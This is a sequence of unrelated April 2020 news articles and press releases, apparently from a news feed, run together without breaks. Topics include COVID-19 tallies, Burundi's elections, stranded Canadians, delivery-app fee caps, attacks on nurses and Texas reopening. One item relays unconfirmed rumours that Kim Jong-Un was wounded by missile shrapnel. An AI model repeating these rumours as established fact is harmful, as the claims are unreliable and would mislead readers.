conditions. If not, then you will be using your retirement funds to pay for the care. Below are a few options for affordable long-term care policies or email info@tonisays.com for more information: 1) Traditional long-term care: The younger you are when you purchase a long-term care policy, the lower the premiums can be. Seek policies before 65 and in relatively good health for lower rates. 2) Hybrid life and annuity policies: Many life/annuity insurance policies have a provision if you need long-term care and you can receive a certain amount of long-term care with your policys face amount. 3) Aid and attendance benefits: There is over $20 billion dollars available for long-term care pension money just waiting for Veterans to apply for their Aid and Attendance benefits. You need to have a long-term care issue to qualify 4) Medicaid: Check to see if you can qualify for Medicaid. Many have to spend down to qualify. Long-term care planning can be very complex. Seek the advice of an Eldercare attorney who can help with long-term care and estate planning. Be sure to have a power of attorney, living will and durable power of attorney in place before serious medical conditions start. Toni King, author of the Medicare Survival Guide Advanced edition, is having a $5 Toni Says readers discount at www.tonisays.com. If you have any questions regarding this article or any Medicare issues reach out to Toni at 832-519-8664 or email at info@tonisays.com. In the past few days, the status of North Korean dictator Kim Jong-Un has been making the headlines. There have been reports that the dictator has died, while others suggest that he is gravely ill. According to reports from disparate but reliable sources, the latest development about the current state of the supreme leader that he was seriously injured after he was wounded by missile shrapnel during a testing. In a report by Express UK, last April 14, Jong-Un attended the mass missile launch into the Sea of Japan as the the country's commander-in-chief. The event was aired by the media of South Korea and was the last appearance of the dictator since. North Korean watchers continue to assert that Jong-Un is still alive despite the mane news which suggests the opposite. However, they acknowledge that the wounds that he incurred during the explosion may be serious. The speculated injuries that the dictator sustained may also be the reason why a team of doctors and medical experts from China traveled to North Korea last week in order to ensure the supreme leader's survival. Rumors surrounding Kim Jong-Un's fate In the previous week, Western media and North Korean watchers said that Jong-Un is in a gravely ill condition after he had a heart surgery. This was then followed by rumors that the dictator has died, which was further fueled by his absence in two of the most important public events in his nation for the first time since his ascend to power in 2011. The said events were the country's premier public holiday known as the Day of the Sun, celebrating the 108th birthday of Jong-Un's grandfather Kim Il Sung, on April 15. He also missed the 88th founding anniversary of the KPA or the Korean People's Army last April 25. The Supreme Leader is considered as the head of the KPA since he acts as the Marshall of the Republic. Read also: Kim Jong-Un Dead? Satellite Images, Chinese Medical Team in North Korea Add Fuel to Rumors According to Gordon Chang, a Chinese-American political pundit and a known foe of communist China, he believes that there is something wrong in North Korea, especially since the country still refuses to explain the dictator's prolonged absence. Chang also said that he doubts the claims of South Korea that Jong-Un is still alive and well. He also brushed aside the statement of President Moon Jae-in's special advisor on foreign affairs and national security, Moon Chung-in saying that there were no suspicious movements have so far been detected in North Korea. The political pundit also said that the fact the Jong-Un missed the celebration of his grandfather's birth despite not missing any Day of the Sun celebration in the past is already an indication that something is wrong. Moreover, he pointed out that Jong-Un breaking such a pattern means that there is something going on. He added that the reports about the dictator getting injured on a missile testing accident already has circumstancial evidence, since the event indeed happened. In addition, Jong-un has always been on site for every missile test done in the country since his reign. On top of this, Chang said that in the past, Jong-Un always had photos in missile tests but there were no released photos of the April 14 event, which may indicate that something did happen that day. Related article: Kim Jong-Un's Sudden Disappearence Sparks Worsening Health Condition and Death Rumors @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Burundi on Monday launched a campaign for next month's presidential, legislative and municipal elections with giant rallies, brushing aside concerns about the coronavirus and reports of violence against the opposition. Seven presidential candidates are running in the May 20 polls in the small East African nation, where life has proceeded largely as normal with authorities claiming God will protect citizens from COVID-19. The ruling party and the main opposition held rallies Monday that drew tens of thousands of supporters -- the kind of large gatherings that have been banned in many other parts of Africa and around the world. Burundi has recorded 15 cases of COVID-19 and one death, though testing has been extremely limited in this country of 12 million. Few precautions have so far been taken for the campaign period which ends on May 17. One politician, a high-ranking member of the ruling CNDD-FDD party, said the electoral commission had issued buckets of soap and water for use during campaign activities but acknowledged this would likely be ineffective. "We realise that this will be useless. Everybody is obsessed with the electoral stakes... We'll think about the pandemic later," said the politician, speaking to AFP on condition of anonymity. The opposition says the government's decision to press ahead with the elections is reckless. Amnesty International, in a statement Monday, said private institutions taking their own preventive measures against coronavirus "had been threatened with sanctions". 'Violence and repression' General Evariste Ndayishimiye, the CNDD-FDD's presidential candidate, is presented on campaign posters as the heir to President Pierre Nkurunziza, who is stepping down after a tumultuous tenure that began in 2005. Nkurunziza's controversial decision to seek a third term in 2015 plunged the country into crisis, and the associated unrest killed 1,200 people and forced 400,000 from their homes. At a rally Monday in Bugendana, in the central Gitega province, Nkurunziza said he backed Ndayishimiye "100 percent", while Ndayishimiye vowed to build on his predecessor's legacy and take development efforts to "a new stage". Neither man mentioned the coronavirus. Ndayishimiye's main opponent is Agathon Rwasa, the candidate for the National Council for Liberty (CNL) party. The CNL chose Ngozi, Nkurunziza's stronghold, for its kickoff rally Monday, busing in supporters from across the country. Rights groups have accused government officials and the ruling party's youth league, the Imbonerakure, of attacking and intimidating the opposition, journalists and civil society groups ahead of the elections. "Violence and repression have been the hallmark of politics in Burundi since 2015, and as elections approach and the COVID-19 pandemic unfolds, tensions are rising," said Lewis Mudge of Human Rights Watch in a statement Monday. 'There is little doubt that these elections will be accompanied by more abuses, as Burundian officials and members of the Imbonerakure are using violence with near-total impunity to allow the ruling party to entrench its hold on power." With its historic markets and Golden Temple, the city of Amritsar in northwest India has long appealed to tourists and Sikh pilgrims alike. But while it's typically viewed as a place to visit, the Punjab city has taken on a new significance for Canadians stranded in India, serving as the primary point of departure for anyone still hoping to catch a repatriation flight back to Canada. As countries around the world struggle to strike a balance between COVID-19 containment and ensuring citizens' safe return, B.C. families say attempts to arrange evacuation flights for relatives have been challenging, with frequent lapses in communication on the part of Canadian government officials. Maggie MacPherson/CBC Mohit Dhanju, 34, planned to meet his wife, Sandeep, and two-year-old daughter, Meher, in India where they had gone to visit a family member who had an operation. But Dhanju was forced to stay home in B.C. when India barred entry to foreign visitors in early March. Days later, the country's prime minister ordered a 'total lockdown' of the country. The Surrey man says he tried to get his wife and daughter out before the lockdown was in place, but no options were available. The pair have been now been gone nearly two months, with no clear end date in sight. He says the government was slow to offer flights from Amritsar, initially relying on bigger transit hubs like Delhi. "I'm talking to them every day" he said. "Early in the morning and before going to bed. But I miss them. I want them to come back home". Dhanju says he and Sandeep have been talking to government officials about repatriation, but no flight has been booked. He says he is especially concerned for his daughter, who's EpiPen recently expired, putting her at risk of anaphylaxis. "I don't know how in the [locked-down] country you will find a EpiPen, where already people are not getting their important medications," he said. He thinks his daughter's age should make her a priority for repatriation, but for now they wait. Story continues Medical conditions a concern Dhanju's concerns are also shared by the Fly Amritsar Initiative, an advocacy group focused on aviation issues including "direct air connectivity of Amritsar with Canada". In a letter to Foreign Affairs Minister Francois-Philippe Champagne, the group thanked Canada for arranging flights from Amritsar, but also pushed for more support, saying Canadian and permanent residents had contacted them concerned over the quality of medical facilities while under lockdown. In an email, Global Affairs Canada tells CBC News it will "continue to identify and assist as many of those at the highest risk levels as quickly as possible." But other volunteers say people are losing faith in Ottawa's approach. Maggie MacPherson/CBC 'There's no prioritising' Gina Takhar created a volunteer group for Canadians, helping arrange private charter flights from Amritsar to Canada. The group, Bring Back Canadians Home, had initially planned to organize just one flight, but Takhar says interest spread like wildfire, with more than 7,000 people saying they needed help. Takhar says many of them had been unable to secure a spot on the government flights, or didn't know how to register with the Global Affairs Canada's Registration of Canadians Abroad in India program. "It's a lottery ticket to get into these flights" she said. "There's no prioritising. Sixty per cent of those people in Punjab don't know how to use a computer or have access to a computer to even get these tickets." The group had eight charter flights arranged to repatriate citizens and permanent residents, when India's Civil Aviation Department contacted them to say their permits had been revoked. No official explanation has been offered to the group as to what happened, but Takhar is appealing to the Canadian government to help make the charter flights happen. "I have cried in front of government officials saying please let us help," she said. 24 flights to date, with more on the way By Sukh Dhailwal's count, though, the government plan has been effective. Christian Amundson/CBC The Liberal MP for Surrey-Newton says of the roughly 26,000 Canadians registered with Registration of Canadians Abroad, only 6,000 showed interest in returning to Canada. He says so far, 24 flights have been arranged to help those people out, with more coming through Qatar Airways. Dhanju, though, thinks the government's poor planning has left thousands stuck in Punjab. He fears his wife and daughter will be stuck in Amritsar for the foreseeable future. "I don't see any light at the end of the tunnel right now," he said. World Bank announces $135 mln aid for Ukraine's health sector 13:00, 28.04.20 722 The project will provide $35 million for COVID-19 emergency response activities. Lightfoot said the money is meant for businesses in low and moderate-income neighborhoods hurt by COVID-19 who may not be able to get financing through the federal government or other means. A proposed Los Angeles city ordinance could prevent third-party food delivery services from charging more than 15% of an order's purchase price in fees. (DoorDash) Los Angeles restaurant owners, who have been vocal about high service fees charged by food delivery apps, soon could pay significantly less if a new city ordinance is approved. Restaurants currently pay as much as 30% in fees to third-party delivery apps such as Postmates, Grubhub and UberEats. Under the proposed ordinance, introduced in a motion request by Los Angeles City Councilman Mitch OFarrell, the apps could charge no more than 15% of the purchase price per order in fees during the COVID-19 pandemic. We want to do all we can to help improve their [restaurants] chances of survival, and the worst thing we could do is not lean in when we see these cases that look a lot like price gouging, OFarrell said in an interview Monday. We hear from our restaurants in the district a lot, and when we hear about this price gouging, its just unconscionable. OFarrell said he looked to DoorDash recently lowering its commission fees for restaurants with five or fewer locations by 50% as a general guide for what could be fair. If they can do it, so can everyone else, he said. What we want to do is our best at some regulation here so that the competitive marketplace can do a reset and motivate these apps to have more conscientious business practices. The worst thing that anyone could possibly do is profit off of someones vulnerabilities. OFarrell said the delivery fees were something that he had been looking into pre-pandemic, but that the current situation restaurants forced to close their dining rooms, with many laying off most if not all of their employees as a result accelerated the urgency of the issue. He noted that San Francisco implemented a 15% cap on delivery service fees this month and that New York City is attempting its own fee cap of 10%. When asked if the reduced fees could last beyond the pandemic, OFarrell said hed like to see the ordinance stay in place until 100% recovery. Otherwise what we do is going to help in the short term, but it could do some longer harm if we pull back too soon, he said. Story continues Caitlin Cutler, who co-owns Ronan Italian restaurant on Melrose Avenue, said any attention brought to the issue is a good thing but is worried that it might not be enough. Our biggest problem is that we are paying so much money and getting terrible service from the apps, Cutler said. Most drivers show up with no masks and no gloves. As a restaurant we are being looked at with such scrutiny and trying to make everything as clean as possible. Cutler said that in addition to lower fees, shes looking for more transparency for the delivery companies about what the money is being used for. Although the motion didnt make it onto this weeks Wednesday City Council meeting agenda, OFarrell hopes for a speedy process. The ordinance could be voted on, drafted and approved in a matter of days, he believes. This cant happen soon enough, he said. A Ugandan policeman who gave permission to a businessman to hold a party and then attended it himself has been arrested and charged with the disobedience of lawful orders and committing negligent acts likely to cause the spread of diseases, a police spokesman told the BBC. Samson Lubega, a police commander in Agago, northern Uganda, was detained on Sunday after being at the party organised by someone who had visited the UK and travelled back through Dubai, reports the Daily Monitor newspaper. President Yoweri Museveni banned social gatherings in Uganda to prevent the spread of coronavirus. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates Source: Xinhua| 2020-04-29 05:14:18|Editor: huaxia Video Player Close CAIRO, April 28 (Xinhua) -- The death toll from COVID-19 in Turkey approached 3,000 on Tuesday. Meanwhile, a Chinese team of medical experts started working with their Kuwaiti counterparts to fight the coronavirus pandemic. The number of fatalities from the novel coronavirus in Turkey, the worst-hit country in the Middle East, surged to 2,992 after 92 more deaths were reported, Turkish Health Minister Fahrettin Koca said. Turkey's total confirmed COVID-19 infections climbed to 114,653, after 2,392 new cases were added, Koca tweeted. A state hospital in Turkey's biggest city of Istanbul opened a new center at the Istanbul University Faculty of Medicine to examine whether the virus causes any damage to the patient's organs after recovery. Turkey's national flag carrier Turkish Airlines announced the extension of a halt to all its domestic and international flights until May 28 over COVID-19 concerns. In Iran, with the highest number of deaths from the virus in the region, the death toll soared to 5,877 after 71 new fatalities were added. The Iranian Ministry of Health and Medical Education reported 1,112 new COVID-19 cases, bringing the total number to 92,584. Trade at the Iranian borders has mostly resumed amid the continued slowdown in the coronavirus infections over the past month. The exchange of goods along Iran's land borders with Iraq, Turkey, Armenia, Azerbaijan, Afghanistan and Pakistan as well as its maritime borders with the United Arab Emirates (UAE), Kuwait, Qatar and Oman, has reopened. Only the Iranian border with Turkmenistan remains closed. Saudi Arabia's coronavirus cases climbed to 20,077 on Tuesday after 1,266 new infections were confirmed. Eight new fatalities were reported in the kingdom, raising the death toll to 152. In Israel, the total number of coronavirus cases rose by 173 to 15,728, while the death toll surged to 210 after six new deaths were reported, the state's Ministry of Health said. The 72nd Independence Day was celebrated in Israel late Tuesday under tightened restrictions. A digital ceremony was held, with a video of the ceremony at the Mount Herzl in Jerusalem being broadcast on TV channels and the internet, as public celebrations and street parties were banned. In Kuwait, a team of eight Chinese medical experts who arrived in the country on Monday night, started working with their Kuwaiti counterparts to help the Arab country fight the pandemic. During their stay in Kuwait, they will exchange experience with Kuwaiti counterparts and medical staff in the prevention, control, diagnosis and treatment of COVID-19. Kuwait reported 152 new cases of COVID-19 and one more death, bringing the total infections to 3,440 and the death toll to 23. Qatar's health ministry announced 677 new cases of COVID-19, raising the total number to 11,921, which includes 68 recoveries and 10 deaths. The UAE announced 541 new COVID-19 cases, bringing the tally of the confirmed cases to 11,380. The death toll rose by seven to 89. Egypt witnessed a record of daily fatalities of COVID-19 with 22 new deaths confirmed on Tuesday, bringing the death toll to 359. The total number of infections rose to 5,042 after 260 cases were added. In Morocco, 132 new coronavirus cases were reported, bringing the tally of confirmed cases to 4,252. So far 165 people have died while 778 others have recovered from the virus. The General Directorate for Prisons in Morocco announced that 303 new COVID-19 cases were reported at the prison of Ouarzazate in central Morocco. They included 241 detainees and 62 prison officials. In Algeria, the total number of coronavirus infections rose to 3,649, after 132 new cases were confirmed. The death toll climbed to 437 after five new fatalities were added. Algerian Education Ministry said all schools will be closed for an additional 15 days until May 14 to curb the spread of the coronavirus. The Omani health ministry announced 82 new cases of COVID-19, bringing the total number to 2,131. Iraq's Health Ministry reported 81 new cases, raising the tally to 1,928 COVID-19, which include 90 deaths and 1,319 recoveries. Sudan announced 43 new infections with COVID-19, bringing the total number of confirmed cases to 318, as the death toll rose to 25 after three fatalities were added. In Lebanon, the number of COVID-19 infections increased by seven to 717, while the death toll remained at 24. Despite the pandemic, clashes between protesters and army soldiers erupted late Monday in different parts of the country, during which 54 soldiers were injured. Enditem SpendEdge, a leading procurement intelligence firm, has recently announced the completion of its latest Q&A article on the future of the food and beverage industry as the global economy battles its way through the COVID 19 pandemic. In this article, Vivek Sikaria, AVP Custom Research, shared his foresight on the trends and practices that will characterize the future of the food and beverage industry post recovery from the COVID 19 pandemic. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005495/en/ SpendEdge has recently announced the completion of its latest Q&A article on the future of the food and beverage industry (Graphic: Business Wire) Key Excerpts from the Q&A Session on the Future of the Food and Beverage industry According to you, what are the sectors in the food and beverage industry that will benefit the most out of consumer's purchasing behavior in light of the current COVID 19 pandemic? Confirming his agreement on the impact of consumer's purchasing behavior, Vivek stated that panic buying amidst this pandemic will result in major demand shifts across sectors in this industry. He implied an increase in the demand for snacks and non-alcoholic beverages among students who are trapped in their lodgings because of the lockdown. Vivek added that the inconsistency in the supply of raw ingredients will compel millennials to purchase ready-to-eat frozen products. SpendEdge now offers custom studies and reports that are suited to the needs of every type and size of organizations across the globe. Request a free demo of our procurement platform and access the complete library of reports for free! What do you foresee in the future of the food and beverage industry post recovery from the COVID 19 pandemic? According to Vivek, the nature and the ramifications of challenges that are being faced due to the COVID 19 pandemic have driven a crucial lesson which is that the prospect of high demand does not necessarily translate into success. He stressed the necessity to have a responsive infrastructure in place to cater to the increase in demand. On this note, Vivek stated the possibility of a major proliferation of automation across certain sectors in the future of the food and beverage industry. He asserted his belief that this will fulfill consumers' preference for contact-less service execution and delivery. This will also compensate for the labor shortage which is one of the biggest challenges faced in the current food and beverage industry during the COVID 19 pandemic-induced lockdown. From a sourcing and procurement perspective, what are the strategies that you think will secure the future of the food and beverage industry? In view of the fractured supply chains in the food and beverage industry, Vivek stressed on the importance of vendors to practice absolute adherence to GS1 traceability standards. This is particularly relevant for procurers for raw ingredients such as poultry meat. The GS1 standard requires suppliers to provide traceability in elements like cattle information such as age and source and livestock mob movement declaration in case of livestock. To fortify the future of the food and beverage industry, Vivek stated the necessity of the assessment of the storage capacities of suppliers. Procurers must analyze the available storage capacity across a supplier's facilities within a specific region and in proximity to the demand markets. The more the area allocated to storage reduces supply shortage risks in the event of supply fluctuations due to natural calamities (crop infections and unfavorable weather conditions) and economic downturns. He further stated that the implementation of forward contracts by suppliers can protect buyers against factors such as exchange rate fluctuations and variation in the physical properties of products. Supply chain disruptions and commodity price volatilities are the common challenges that are jeopardizing business continuity across industries during the COVID 19 pandemic. Request a free proposal from our experts for comprehensive industry analysis and gain customized market intelligence solutions. About SpendEdge: SpendEdge shares your passion for driving sourcing and procurement excellence. We are the preferred procurement market intelligence partner for 120+ Fortune 500 firms and other leading companies across numerous industries. Our strength lies in delivering robust, real-time procurement market intelligence reports and solutions. To know more, https://www.spendedge.com/request-free-proposal View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005495/en/ Contacts: SpendEdge Anirban Choudhury Marketing Manager US: +1 630 984 7340 UK: +44 148 459 9299 https://www.spendedge.com/contact-us Mexico's government continued its tug of war with businesses on Monday, pledging to reopen factories vital to the U.S. economy while shaming others that refuse to close under lockdown measures decreed to fight the spread of the coronavirus. President Andrs Manuel Lpez Obrador also said he didn't like businessmen going out to seek loans from international lending agencies, further angering the business sector. Under U.S. pressure, Mexico pledged Friday to reopen automotive plants in a gradual and cautious process. On Monday, Labor Secretary Luisa Maria Alcalde praised some automakers for reducing or stopping nonessential parts of their operations. But Alcalde publicly shamed some textile and footwear firms, as well as a department store chain, for not obeying closure orders for nonessential businesses. In all, 18% of firms in Mexico are considered essential and are allowed to stay open. Alcalde said that of the remaining nonessential firms, 87% had closed and 13% had refused to do so. The U.S. government launched a campaign to get Mexico to reopen plants, suggesting the supply chain of the North American free trade zone could be permanently affected if they didn't resume production. Mexico's border assembly plants are key to the U.S. supply chain, including those of autos and defense contractors, and employees at some of the facilities have staged walkouts and protests because of fears over the coronavirus. Ellen Lord, U.S. undersecretary of defense for acquisition and sustainment, had voiced similar concerns Monday in Washington. We are seeing impacts on the industrial base by several pockets of closure internationally. Particularly of note is Mexico, where we have a group of companies that are impacting many of our major primes, she said. Lpez Obrador appeared to oppose a $3 billion credit arrangement that a leading business association announced with an investment arm of the Inter-American Development Bank to supply loan-type products for small and medium firms in Mexico hit by the effects of the pandemic. The austerity-minded Lpez Obrador had vowed not to acquire new debt, and said the loan arrangement would not be backed by public funds or government guarantees. He said he also didn't like that business groups had arranged the deal behind his back. I don't very much like the way they reached an agreement and want to impose their plans on us, the president said. What are we (the government)? Flowerpots, just here for decoration? If it doesn't cost the public anything, if it doesn't come from government funds, go ahead, he added, reminding Mexicans of the numerous past big-business bailouts that average Mexicans had to pay with their tax money. The leader of the Mexican Employers Federation, Gustavo de Hoyos, harshly criticized Lpez Obrador's attitude. He neither helps nor lets others help, De Hoyos said of Mexican firms suffering from a drop-off in activity. But he does lie, he wrote in his Twitter account, adding the credits do not, as he said, involve public funds. Lpez Obrador has had a rocky relationship with business groups, which he has frequently accused of corruption and hogging power. The first member of his Cabinet to test positive for coronavirus was identified Monday as federal comptroller Irma Erndira Sandoval, though her office said she was on excellent condition with no serious symptoms. Mexico has over 15,500 confirmed cases and has seen 1,434 deaths. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) If social distancing measures or other factors continue to slow the rate of new infections in Britain, he said, the trial might not be able to show that the vaccine makes a difference: Participants who received a placebo might not be infected any more frequently than those who have been given the vaccine. The scientists would have to try again elsewhere, a dilemma that every other vaccine effort will face as well. In many cities, doctors, nurses and other healthcare workers have been celebrated with choruses of applause and cheers from windows and rooftops for providing the front-line defence against the pandemic Mexico City: The senior nurse went on national television to make a plea on behalf of her fellow healthcare workers: Please stop assaulting us. Nurses working under her auspices had been viciously attacked around Mexico at least 21 times, accused of spreading the coronavirus. Many were no longer wearing their uniforms as they travelled to or from work for fear of being hurt, said the official, Fabiana Zepeda Arias, chief of nursing programmes for Mexicos Social Security Institute. We can save your lives, she said, addressing the assailants. Please help us take care of you, and for that we need you to take care of us. In many cities, doctors, nurses and other healthcare workers have been celebrated with choruses of applause and cheers from windows and rooftops for providing the front-line defence against the pandemic. But in some places healthcare workers, stigmatised as vectors of contagion because of their work, have been assaulted, abused and ostracised. In the Philippines, attackers doused a nurse with bleach, blinding him. In India, a group of medical workers was chased by a stone-throwing mob. In Pakistan, a nurse and her children were evicted from their apartment building. Dozens of attacks on healthcare workers have been reported in Mexico, where intense outbreaks among hospital staff of COVID-19, the disease caused by the coronavirus, have unnerved residents and members of the medical community alike. Scores of doctors and nurses have fallen ill in several hospitals around the country, and widespread demonstrations have erupted among healthcare workers complaining about inadequate protective equipment. Nurses in the state of Jalisco reported being blocked from public transportation because of their occupation. A nurse in Culiacan, capital of the state of Sinaloa in Mexicos northwest, said she was drenched with chlorine while walking along the street. In Merida, a city on the Yucatan Peninsula, a nurse said he was hit with an egg thrown by someone passing on a motorcycle. Zepeda Arias, who spoke last week at a news conference, said 21 of her Social Security Institute nurses had been attacked in the past month. It hurts to talk about this; it hurts to talk about what happens to your people, she said, fighting back tears. Aggression is not something that anyone wants. We truly invite you to respect us. The attacks against medical workers seem to be rooted in fear and ignorance fed by misinformation, said Edith Mujica Chavez, president of the Inter-Institutional Commission of Nurses in the state of Jalisco. It is understandable, considering how much uncertainty and misinformation there is out there, she said in an interview. You have some people panicking and locking themselves in their houses, others thinking nothing will happen to them and going around carefree, and others thinking it is nurses and doctors who will spread the virus because we are in contact with patients. Mexico moved more slowly than other countries in the region to require social distancing and encourage people to stay home, and the number of coronavirus cases has risen sharply in recent weeks. On Sunday night, government officials reported 14,677 confirmed cases in the country and 1,351 deaths. Authorities have said that the confirmed cases include more than 500 healthcare workers. Mexican officials have condemned the aggression against doctors and nurses and characterised the episodes as isolated. At a news conference Friday night, Dr Hugo Lopez-Gatell, a deputy health minister, called the attacks and discrimination against medical crews working to keep the country safe extremely worrying, absolutely unacceptable. All of this is inexplicable to a certain extent; it is surprising, he said. Precisely the people who have the best possibility and the best intention of helping the health workers who are on the front line of response are attacked for the fact that they are health workers. Scattered accounts of hostility have circulated around the world. In the Philippines, a nurse in the southern province of Sultan Kudarat was attacked by five men who thought he was infected with the virus because of his work. They poured bleach on his face, leaving him with what his doctors said could be permanent damage to his eyesight. In a televised speech this month, the countrys president, Rodrigo Duterte, warned that people who discriminated against healthcare workers would be dealt with swiftly. I want to order the police to arrest anyone who harasses them, he said. Once in prison, do not feed them. Let them starve. In India, healthcare workers have reported being physically attacked, spat at and threatened with sexual violence for treating patients with the coronavirus. Doctors in protective gear were chased by a stone-throwing mob early this month in the central city of Indore after they tried to screen a woman for COVID-19. They screamed, Catch them! Hit them! one of the doctors, Zakia Sayed, recalled in an interview with India Today. We dont know how and why the situation got so bad. Reports of healthcare workers being blocked from their homes by fearful neighbours or evicted altogether by landlords have proliferated in several countries. Ghazala Bhatti, a nurse in Karachi, and the mother of three children, said her landlord had asked her to vacate their apartment because of fears that she would infect others in the building after treating COVID-19 patients. The landlord told me that he is worried about the health of his 72-year-old father battling cancer, who also lives on the first floor of the building, said Bhatti, who moved in with her brother because she was unable to find a place to rent with the city on lockdown. I am heartbroken, she said. I have never felt afraid to be a nurse until it happened. A doctor at a government hospital in Odisha filed a police complaint against residents of her apartment building after they accused her of spreading the virus. In her statement, the doctor said one resident threatened her with rape if she did not move out. Dr Sanjibani Panigrahi, who works at a hospital in Surat, said neighbours had tried to bar her from entering her building, telling her she should be shunted out of society. I dont know how long I can stay here, she said in an interview. There is so much panic and hysteria right now. Being a doctor has become a stigma. Kirk Semple c.2020 The New York Times Company Generally speaking, I consider calls for violence inadmissible. This is what Deputy Minister of Education, Science, Culture and Sport of Armenia Zhanna Andreasyan told reporters today after a journalist asked if the teacher from an Armenian village has the right to continue to teach and work with children after calling on murdering people demanding the resignation of the Prime Minister of Armenia. The Ministry of Education, Science, Culture and Sport has held several discussions with the regional governors office, and I know that the latter has tried to take certain actions. The ministry has addressed law-enforcement authorities to give a legal evaluation of the call for violence and take legal action, she said. New Delhi, April 28 (IANS) The government on Tuesday lambasted the United States Commission on International Religious Freedom (USCIRF) for placing India among the list of countries which violate religious freedom. The USCIRF has designated India as a 'Country of Particular Concern' on religious freedom alongside Pakistan, Saudi Arabia, Syria, Iran, North Korea, China, Russia and others. The 14 countries placed in the list of Particular Concern', according to the USCIRF, are those whose "governments engage in or tolerate systematic, ongoing, egregious violations of religious freedom". The USCIRF is an independent federal government entity set up by the US Congress to monitor and report on religious freedom in the world. "We are seeing impunity for violence by non-state actors committed against religious minorities," USCIRF chair Tony Perkins said about India. Reacting sharply to the US government panel's move, Ministry of External Affairs spokesperson Anurag Srivastava said, "We reject the observations on India in the USCIRF annual report." Describing the USCIRF's comments against India as "biased and tendentious" and "not new", the spokesperson said, "But on this occasion, its misrepresentation has reached new levels. It has not been able to carry its own Commissioners in its endeavour." The government said that it regards it as "an organisation of particular concern and will treat it accordingly." --IANS aat/arm Digital asset management software provider and marketing transformation firm team up to modernize joint clients marketing MADISON, Wis. and PROVIDENCE, R.I., April 28, 2020 (GLOBE NEWSWIRE) -- Widen, a high-performing digital asset management (DAM) software company, and Zee Jay Digital, a marketing transformation consultancy, today announced a strategic partnership. The two firms are working in concert to provide corporate marketing organizations and in-house agencies a better way to structure, operate, and compete in todays new normal. Zee Jay Digital works with marketing leaders to advance organizational, process, and technology imperatives into vision and execution. The firm has found that many organizations have enterprise-class DAM requirements, yet do not warrant highly customized solutions. In this time of changing priorities, Zee Jay is emphasizing clients right-size investments to meet their precise needs. Widen brings an enterprise-class digital asset management solution to the equation. The robust DAM is unique in the industry in that implementation, including full migration, takes place in just 12 to 18 weeks. Flexibility thats built-in, as well as predictable, milestone-based implementation processes, enable Widen to dramatically streamline deployment. Both Zee Jay and Widen recognize that marketing transformation is often triggered by the need to implement or replace a single system, though the impacts of a single change are felt across a clients full marketing technology ecosystem. Their experience applying complementary solutions allows clients to leverage integrated data across platforms DAM, marketing resource management (MRM), product information management (PIM), financial management, and resource allocationmaximizing return on marketing and content investment while gaining additional value from their assets. More than 670 customers around the world benefit from Widens just right way to manage digital content, said Jake Athey, Vice President of Marketing for the DAM software provider. Our solution is powerful yet easy-to-implement, scalable yet cost-effectivegiving marketers a best-of-all-worlds approach to accessing images, videos, and other media needed to create engaging brand experiences. Story continues Digital asset management is an essential component of an organizations marketing technology stack. A centralized content hub providing a searchable, shareable library of a brands photos, images, documents, videos, and other creative assets is key to efficient connection with customers. The combination of Zee Jay Digitals consulting services and Widens best-of-breed asset automation provides significant benefit to forward-thinking marketing leaders, said Zee Jays Managing Director, Eric Rotkow. This partnership was created to enable the scalability needed to stay competitive. We look forward to applying our decade-plus marketing process and technology experience with Widen to help our shared clients position themselves for success, Rotkow added. About Widen Established in 1948, Widen builds high-performing software that empowers organizations to create impactful, measurable, and consistent brand experiences. Its platform spans brand management, marketing resource management, video, and creative management solutions and has enabled one million marketers, content creators, and technologists at over 670 global brands to better connect with audiences. Customers include Progressive, Zippo, Energizer, Trek, Zeiss, Salvation Army, Citizen Watch, the Atlanta Falcons, Carnival Cruise Line, Yankee Candle, FINCA, and many more. Headquartered in Madison, Wisconsin, USA and with a European office in London, UK, Widen has the highest customer loyalty in the digital asset management (DAM) industry. Visit Widen.com . About Zee Jay Digital A boutique alternative to global consulting firms, Zee Jay Digital transforms marketings operating model, and the orchestration of work across internal and external teams, to achieve personalized customer experiences at scale. The consultancy was named Workfront Partner of the Year in 2019, and is an Allocadia partner. In addition, Zee Jay is a founding member of the Global Work Management Alliance . Clients include Whole Foods + Amazon, John Hancock, Nike, TJX, Anheuser-Busch, UHS, AAA, Brooks Brothers, Fresenius, Ledvance, Kroger, Big Lots, Perkin Elmer, Bright Horizons, Talbots, Charles River, Giant Eagle, and more. Visit ZeeJayDigital.com . Contact: Jake Athey VP Marketing +1 608-443-5472 jathey@widen.com The stout body of the water moccasin generally thins abruptly at the smaller black tail, and it seems almost too small for the body, like the tip of an under-inflated balloon. Water snakes have the more typical long taper down to the tip of the tail, and its color is consistent with the rest of its body. Field guides note the cottonmouth will swim with its head raised and its entire body on top of the water, while the water snakes body is more submerged. Both can swim underwater and can bite things underwater. They both eat fish and frogs. The plain-bellied water snake can be easier to ID because, as the name suggests, its belly is a plain yellowish or cream color. Thats a dead giveaway, especially if you see it up on a branch or tree. Both the cottonmouth and diamondback watersnakes have spots on their bellies, but a cottonmouths belly has big brownish-yellow blotches throughout and they have that black tail. The diamondback has a yellow or cream belly with small dark half-moon shapes along the lateral edge of the belly. To be clear, none of these snakes attack in swarms. That is a myth loved by Hollywood and other tellers of tall tales. To be exact, both will flee if given the chance. Gov. Greg Abbott on Monday announced the biggest step yet in reopening Texas businesses, revealing the first phase in a multi-phase plan. Abbott's order allows restaurants, movie theaters, museums, libraries, retail stores and malls to reopen at 25 percent capacity. His decision to reopen restaurants in particular has been polarizing, with some welcoming the announcement even as others refused to go out regardless of the changes. 'EXTREMELY FILTHY': Nearly 100 animals rescued from Houston flea market breeder The executive order to reopen supersedes all local orders, Abbott said, meaning Houston restaurants may also reopen Friday, but only at 25 percent capacity. The restaurants may choose not to reopen. As part of the reopening plan's rollout, Abbott pointed Texans to gov.texas.gov/opentexas, which gives details of the plan and its execution. The website includes a list of "minimum standard health protocols" in the form of a checklist for restaurant customers which recommends guidelines to stay safe while dining in. "Please note, public health guidance cannot anticipate every unique situation," the checklist reads. "Individuals should stay informed and take actions based on common sense and wise judgment that will protect health and support economic revitalization." On HoustonChronicle.com: Trump holds up Houston as proof of progress on coronavirus It also encourages customers to take further precautions, noting that the guidelines should not limit them and are a minimum recommendation. Harris County was just hours into its 30-day mask mandate when Abbott announced the reopening Monday, adding that masks were recommended but not required and striking down the 